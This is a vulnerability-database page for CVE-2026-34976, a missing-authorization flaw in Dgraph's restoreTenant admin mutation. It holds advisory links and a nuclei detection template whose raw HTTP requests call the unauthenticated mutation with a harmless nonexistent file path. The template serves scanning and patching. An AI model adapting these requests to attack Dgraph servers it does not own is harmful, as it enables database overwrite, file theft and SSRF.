Lucene search
+L

Dgraph <=v25.3.0 - Admin Mutation Missing Authorization

🗓️ 25 Sep 2026 02:05:06Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 17 Views

Missing authorization on restoreTenant admin mutation in Dgraph <=v25.3.0 enables unauthenticated database overwrite, file read, and SSRF.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cgr
Chainguard
CVE-2026-34976 vulnerabilities
4 Apr 202613:17
–cgr
circl
Circl
CVE-2026-34976
2 Apr 202615:44
–circl
cnnvd
CNNVD
Dgraph 安全漏洞
6 Apr 202600:00
–cnnvd
cve
CVE
CVE-2026-34976
6 Apr 202616:12
–cve
cvelist
Cvelist
CVE-2026-34976 Dgraph Affected by Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
6 Apr 202616:12
–cvelist
euvd
EUVD
EUVD-2026-19360
6 Apr 202616:12
–euvd
github
Github Security Blog
Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
2 Apr 202620:44
–github
nvd
NVD
CVE-2026-34976
6 Apr 202617:17
–nvd
osv
OSV
CGA-437V-H7RJ-3FR9
3 Apr 202614:18
–osv
osv
OSV
CGA-JQ28-VF2G-54H9
4 Apr 202618:25
–osv
Rows per page
id: CVE-2026-34976

info:
  name: Dgraph <=v25.3.0 - Admin Mutation Missing Authorization
  author: str4k3r
  severity: critical
  description: |
    Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access.
  remediation: |
    Update to version 25.3.1 or later.
  reference:
    - https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34976
    epss-score: 0.01655
    epss-percentile: 0.75538
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: hypermodeinc
    product: dgraph
    shodan-query: title:"Dgraph"
    fofa-query: body="dgraph"
  tags: cve,cve2026,dgraph,auth-bypass,ssrf

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "dgraph", "Dgraph")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restore(input: { location: \"file:///nonexistent-cve-34976-probe/\" }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "unauthorized ip address")'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///nonexistent-cve-34976-probe/\" }, fromNamespace: 0 }) { code message } }"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "restoreTenant")'
          - '!contains(body, "unauthorized ip address")'
        condition: and
# digest: 4a0a00473045022100931166490fd9133c2dbb15c6c24fe8962e7085785f426f6bc482ff1826a749b7022062dce004fe9448864bdd11f9097e3aced327f992c8fef974639f30be83b1a0ac:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 21:42Current
7.4High risk
Vulners AI Score7.4
CVSS 3.110
EPSS0.01655
SSVC
17